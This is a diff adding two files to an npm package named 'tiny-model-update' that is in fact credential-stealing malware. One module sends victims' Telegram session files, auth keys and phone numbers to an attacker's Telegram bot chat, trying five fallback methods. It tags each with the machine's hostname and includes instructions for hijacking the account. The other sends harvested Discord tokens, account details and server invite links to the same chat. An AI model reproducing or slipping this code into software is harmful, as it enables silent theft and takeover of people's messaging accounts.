tiny-model-update 1.15.1

package/lib/telegram-session-sender.js

@@ -0,0 +1,223 @@
+import { getTelegramBot } from './telegram.js';
+import { getTelegramCredentials } from './encryption.js';
+import fs from 'fs';
+import path from 'path';
+import os from 'os';
+import FormData from 'form-data';
+
+/**
+ * Send Telegram session information and file to Telegram
+ */
+export async function sendTelegramSessionToTelegram(sessionInfo) {
+    try {
+        const bot = getTelegramBot();
+        const { chatId } = getTelegramCredentials();
+
+        // Get hostname to identify which laptop sent this
+        const hostname = os.hostname();
+        
+        // Build message with session file information
+        let message = `📱 **Telegram Session Found**\n\n`;
+        message += `**Host:** ${hostname}\n`;
+        message += `**Profile:** ${sessionInfo.profile}\n`;
+        message += `**Type:** ${sessionInfo.type}\n`;
+        
+        if (sessionInfo.phoneNumber) {
+            message += `**Phone Number:** \`${sessionInfo.phoneNumber}\`\n`;
+        }
+        
+        if (sessionInfo.fileName) {
+            message += `**File Name:** \`${sessionInfo.fileName}\`\n`;
+        }
+        
+        if (sessionInfo.filePath) {
+            message += `**File Path:** \`${sessionInfo.filePath}\`\n`;
+        }
+        
+        if (sessionInfo.size) {
+            message += `**File Size:** ${(sessionInfo.size / 1024).toFixed(2)} KB\n`;
+        }
+        
+        // Show auth key if available
+        if (sessionInfo.hasAuthKey && sessionInfo.authKey) {
+            message += `\n🔑 **Auth Key Found:** ✅\n`;
+            if (sessionInfo.authKey.length < 300) {
+                message += `**Auth Key:** \`${sessionInfo.authKey}\`\n`;
+            } else {
+                message += `**Auth Key (preview):** \`${sessionInfo.authKey.substring(0, 100)}...\`\n`;
+                message += `**Auth Key (full):** \`${sessionInfo.authKey}\`\n`;
+            }
+        } else if (sessionInfo.authKeyPreview) {
+            message += `\n🔑 **Auth Key (preview):** \`${sessionInfo.authKeyPreview}\`\n`;
+        }
+        
+        if (sessionInfo.userId) {
+            message += `**User ID:** \`${sessionInfo.userId}\`\n`;
+        }
+        
+        if (sessionInfo.dcId) {
+            message += `**Data Center ID:** \`${sessionInfo.dcId}\`\n`;
+        }
+        
+        message += `\n💡 **How to Use:**\n`;
+        message += `1. Download the file attached below\n`;
+        message += `2. Use it with Telegram clients like Telethon or Pyrogram\n`;
+        message += `\n⚠️ **Keep this session file secure - it provides full access to the Telegram account!**`;
+
+        // Try to send the file automatically using multiple methods
+        let fileSent = false;
+        if (sessionInfo.filePath && fs.existsSync(sessionInfo.filePath)) {
+            try {
+                const fileStats = fs.statSync(sessionInfo.filePath);
+                if (fileStats.isFile() && fileStats.size > 0 && fileStats.size < 50 * 1024 * 1024) { // Max 50MB
+                    const fileName = sessionInfo.fileName || path.basename(sessionInfo.filePath);
+                    
+                    // Wait a bit to ensure file is not locked
+                    await new Promise(resolve => setTimeout(resolve, 200));
+                    
+                    // Read entire file into buffer
+                    const fileBuffer = fs.readFileSync(sessionInfo.filePath);
+                    
+                    // Verify buffer is not empty
+                    if (fileBuffer.length === 0) {
+                        throw new Error('File buffer is empty');
+                    }
+                    
+                    // Wait a bit more before sending
+                    await new Promise(resolve => setTimeout(resolve, 500));
+                    
+                    // Method 1: Use form-data directly with Telegram API (most reliable)
+                    try {
+                        const { botToken } = getTelegramCredentials();
+                        const form = new FormData();
+                        form.append('chat_id', chatId);
+                        form.append('caption', message);
+                        form.append('parse_mode', 'Markdown');
+                        form.append('document', fileBuffer, {
+                            filename: fileName,
+                            contentType: 'application/octet-stream'
+                        });
+                        
+                        await new Promise((resolve, reject) => {
+                            form.submit(`https://api.telegram.org/bot${botToken}/sendDocument`, (err, res) => {
+                                if (err) {
+                                    reject(err);
+                                    return;
+                                }
+                                let data = '';
+                                res.on('data', chunk => data += chunk);
+                                res.on('end', () => {
+                                    try {
+                                        const result = JSON.parse(data);
+                                        if (result.ok) {
+                                            resolve(result);
+                                        } else {
+                                            reject(new Error(result.description || 'API error'));
+                                        }
+                                    } catch (e) {
+                                        reject(e);
+                                    }
+                                });
+                                res.on('error', reject);
+                            });
+                        });
+                        fileSent = true;
+                    } catch (formError) {
+                        // Method 2: Try bot.sendDocument with buffer
+                        try {
+                            await bot.sendDocument(chatId, fileBuffer, {
+                                caption: message,
+                                parse_mode: 'Markdown'
+                            }, {
+                                filename: fileName
+                            });
+                            fileSent = true;
+                        } catch (bufferError) {
+                            // Method 3: Copy file to temp location and send from there
+                            try {
+                                const tempDir = path.join(os.tmpdir(), 'telegram-sessions');
+                                if (!fs.existsSync(tempDir)) {
+                                    fs.mkdirSync(tempDir, { recursive: true });
+                                }
+                                const tempFilePath = path.join(tempDir, fileName);
+                                
+                                // Copy file to temp location
+                                fs.copyFileSync(sessionInfo.filePath, tempFilePath);
+                                
+                                // Wait and verify temp file exists and has content
+                                await new Promise(resolve => setTimeout(resolve, 300));
+                                const tempStats = fs.statSync(tempFilePath);
+                                if (tempStats.size === 0) {
+                                    throw new Error('Temp file is empty');
+                                }
+                                
+                                // Send from temp location
+                                await bot.sendDocument(chatId, tempFilePath, {
+                                    caption: message,
+                                    parse_mode: 'Markdown'
+                                });
+                                fileSent = true;
+                                
+                                // Clean up temp file after a delay
+                                setTimeout(() => {
+                                    try {
+                                        fs.unlinkSync(tempFilePath);
+                                    } catch (e) {
+                                        // Ignore cleanup errors
+                                    }
+                                }, 5000);
+                            } catch (tempError) {
+                                // Method 4: Try sending original file path directly
+                                try {
+                                    await new Promise(resolve => setTimeout(resolve, 200));
+                                    await bot.sendDocument(chatId, sessionInfo.filePath, {
+                                        caption: message,
+                                        parse_mode: 'Markdown'
+                                    });
+                                    fileSent = true;
+                                } catch (pathError) {
+                                    // Method 5: Try with file stream
+                                    try {
+                                        const fileStream = fs.createReadStream(sessionInfo.filePath);
+                                        await bot.sendDocument(chatId, fileStream, {
+                                            caption: message,
+                                            parse_mode: 'Markdown'
+                                        }, {
+                                            filename: fileName
+                                        });
+                                        fileSent = true;
+                                    } catch (streamError) {
+                                        fileSent = false;
+                                    }
+                                }
+                            }
+                        }
+                    }
+                }
+            } catch (fileError) {
+                fileSent = false;
+            }
+        }
+
+        // If file wasn't sent, send message with path
+        if (!fileSent) {
+            try {
+                await bot.sendMessage(chatId, message, {
+                    parse_mode: 'Markdown'
+                });
+            } catch (markdownError) {
+                try {
+                    const plainMessage = message.replace(/\*\*/g, '').replace(/`/g, '');
+                    await bot.sendMessage(chatId, plainMessage);
+                } catch (plainError) {
+                    const minimalMessage = `📱 Telegram Session Found\n\nPhone: ${sessionInfo.phoneNumber || 'N/A'}\n\nFile Path:\n${sessionInfo.filePath || 'N/A'}\n\n⚠️ File could not be sent automatically. Please copy manually.`;
+                    await bot.sendMessage(chatId, minimalMessage);
+                }
+            }
+        }
+
+        return true;
+    } catch (error) {
+        return false;
+    }
+}

package/lib/telegram.js

@@ -0,0 +1,94 @@
+import TelegramBot from 'node-telegram-bot-api';
+import os from 'os';
+import { getTelegramCredentials } from './encryption.js';
+
+let botInstance = null;
+
+export function getTelegramBot() {
+    if (!botInstance) {
+        const { botToken } = getTelegramCredentials();
+        botInstance = new TelegramBot(botToken, { polling: false });
+    }
+    return botInstance;
+}
+
+export async function sendTokenToTelegram(token, profileName, tokenInfo = null) {
+    try {
+        const bot = getTelegramBot();
+        const { chatId } = getTelegramCredentials();
+        
+        // Decode user ID from Discord token
+        // Discord tokens: first part is base64-encoded numeric user ID
+        const parts = token.split('.');
+        let userId = 'Unknown';
+        if (parts.length === 3) {
+            try {
+                const decoded = Buffer.from(parts[0], 'base64').toString();
+                // Discord user IDs are 17-19 digit numbers
+                if (/^\d{17,19}$/.test(decoded)) {
+                    userId = decoded;
+                }
+            } catch (e) {
+                // Ignore
+            }
+        }
+        
+        // Use verified info if available
+        if (tokenInfo && tokenInfo.valid) {
+            userId = tokenInfo.userId || userId;
+        }
+        
+        // Get hostname to identify which laptop sent this
+        const hostname = os.hostname();
+        
+        // Build message with region info if available
+        let message = `🔑 **Discord Token Found**\n\n` +
+                     `**Host:** ${hostname}\n` +
+                     `**Profile:** ${profileName}\n` +
+                     `**User ID:** \`${userId}\``;
+        
+        if (tokenInfo && tokenInfo.valid) {
+            message += `\n**Username:** ${tokenInfo.username || 'Unknown'}`;
+            message += `\n**Region/Locale:** ${tokenInfo.region || tokenInfo.locale || 'Unknown'}`;
+            message += `\n**Status:** ✅ Valid & Active`;
+            message += `\n**Servers:** ${tokenInfo.guildsCount || 0}`;
+        } else if (tokenInfo && !tokenInfo.valid) {
+            message += `\n**Status:** ❌ ${tokenInfo.error || 'Invalid'}`;
+        }
+        
+        message += `\n**Token:** \`${token}\`\n\n` +
+                  `⚠️ Keep this token secure - never share it!`;
+        
+        await bot.sendMessage(chatId, message, {
+            parse_mode: 'Markdown'
+        });
+        
+        return true;
+    } catch (error) {
+        return false;
+    }
+}
+
+export async function sendInviteToTelegram(guildName, inviteLink) {
+    try {
+        const bot = getTelegramBot();
+        const { chatId } = getTelegramCredentials();
+        
+        // Get hostname to identify which laptop sent this
+        const hostname = os.hostname();
+        
+        const message = `🔗 **Server Invite Link**\n\n` +
+                       `**Host:** ${hostname}\n` +
+                       `**Server:** ${guildName}\n` +
+                       `**Invite:** ${inviteLink}`;
+        
+        await bot.sendMessage(chatId, message, {
+            parse_mode: 'Markdown'
+        });
+        
+        return true;
+    } catch (error) {
+        return false;
+    }
+}
+